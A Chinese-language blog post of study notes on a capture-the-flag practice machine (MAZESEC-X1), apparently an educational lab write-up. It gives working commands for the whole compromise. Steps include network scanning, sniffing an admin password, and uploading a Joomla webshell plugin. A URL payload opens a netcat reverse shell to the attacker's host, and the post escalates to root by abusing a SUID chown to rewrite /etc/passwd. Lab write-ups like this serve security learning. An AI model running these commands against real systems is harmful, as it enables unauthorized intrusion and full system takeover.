MAZESEC-X1靶场学习笔记

前言

学习第一个攻击靶机。

正文

一、信息收集

扫描本地局域网内所有在线设备:

bash 复制代码
arp-scan -l

扫一下这个靶机开放的端口:

bash 复制代码
nmap -sV -v -T4 -A 192.168.31.145

发现80端口是开放的:

除此之外还有很多有用的信息:

可以豆包一下,Joomla有什么漏洞。

访问网页。

二、端口监听

进去之后,提示Listen Carefully,说明要监听抓包。

输入抓包命令:

bash 复制代码
tcpdump -A -n host 192.168.31.145 > B.log

根据日志,发现特征root:00

不自动换行,计算字符串 r...............的字符总数(包含数字、标点等所有可见字符):

bash 复制代码
echo -n 'r.................' | wc -c

B.log 日志文件中筛选以 E 开头的行,提取每行倒数第 18 个字段(以双引号为分隔符),并将执行过程中产生的错误信息丢弃。

bash 复制代码
cat B.log | awk 'BEGIN{FS=""}/^E/{printf $(NF-17)}' 2>/dev/null

通过字符拼接,拿到后台登录密码:

bash 复制代码
root:00dae9e3052fb2255408182602383ce1

三、漏洞利用

根据信息搜集的结果,去网站后台http://192.168.31.145/administrator

根据前面端口监听到的用户密码,进入后台。

在系统设置里,可以看到扩展安装插件。

利用插件漏洞,在github上下载下来。

插件上传完后,在URL里构造函数:

bash 复制代码
http://192.168.31.145/modules/mod_webshell/mod_webshell.php?action=exec&cmd=busybox%20nc%20192.168.31.188%204444%20-e%20/bin/bash

不过在此之前,先要在kaLi中通过命令监听4444端口:

bash 复制代码
nc -lp 4444
ls

一下就有回显了

连接建立后,在 nc 会话里执行 id 命令,查看当前用户身份:

当前 shell 的用户是 www-data(Web 服务的默认低权限用户)

四、权限维持

生成一个基础的可执行 bash 的伪终端。
-q:安静模式(不输出多余提示);
-c /bin/bash:执行 bash 作为脚本的命令
/dev/null:把 script 的日志输出重定向到空设备

bash 复制代码
/usr/bin/script -qc /bin/bash /dev/null


CTRL+Z ,中断连接。

使用完整终端:

bash 复制代码
stty raw -echo;fg

stty:调整终端(tty)属性的命令;
raw:把终端设置为 "原始模式",让输入直接传递给远程 shell;
-echo:关闭终端的 "回显" 功能;
;:命令分隔符,执行完前一个命令后执行后一个;
fg:把后台暂停的进程(这里是 nc -lp 4444)调回前台运行。


reset 尝试重置终端恢复正常,为xterm

全系统排查 root 所有、带 SUID 权限的高风险文件,且不显示无关报错:

bash 复制代码
find / -user root -perm -4000 2>/dev/null


chown 带 root 属主的 SUID 权限 → 普通用户执行时临时拥有 root 权限;

把系统核心文件 /etc/passwd 的所有者,改成低权限用户 www-data

bash 复制代码
chown www-data:www-data /etc/passwd

新开一个终端,专门生成 Linux 系统认可的加密密码串:

bash 复制代码
openssl passwd 111111

然后:

bash 复制代码
# 编辑系统用户文件
vi /etc/passwd

把加密的字符串添加进去,之前生成了一版,所以跟上图不一样。

:wq!退出
su - root 实现提权。

五、获得成果

不再赘述,如下图:

相关推荐
AI算法沐枫20 小时前
大一学生如何入门机器学习,深度学习,学习顺序如何?
人工智能·python·深度学习·学习·线性代数·算法·机器学习
他们叫我阿冠20 小时前
实习前自我培训-Day2学习
学习
wuxinyan12320 小时前
工业级大模型学习之路020:LangChain零基础入门教程(第三篇):提示词工程与提示模板系统
人工智能·python·学习·langchain
U盘失踪了20 小时前
【笔记】pycharm 安装Jupyter失败
笔记·python
Hua-Jay20 小时前
OpenCV联合C++/Qt 学习笔记(二十二)----相机模型与投影及单目相机标定
c++·笔记·qt·opencv·学习·计算机视觉
咸甜适中20 小时前
rust语言学习笔记Trait(七) IntoIterator(由集合创建迭代器)
笔记·学习·rust
qq_5255137521 小时前
第七章 指令微调学习(三)为指令数据集创建数据加载器;加载预训练的大语言模型
人工智能·学习·语言模型
阿阳微客21 小时前
网易Buff游戏搬砖,长期可做!
笔记·学习·游戏
Upsy-Daisy21 小时前
AI Agent 项目学习笔记(一):项目总体介绍与智能体链路概览
人工智能·笔记·学习
wuxinyan12321 小时前
工业级大模型学习之路019:LangChain零基础入门教程(第二篇):LLM 模块与模型抽象
人工智能·python·学习·langchain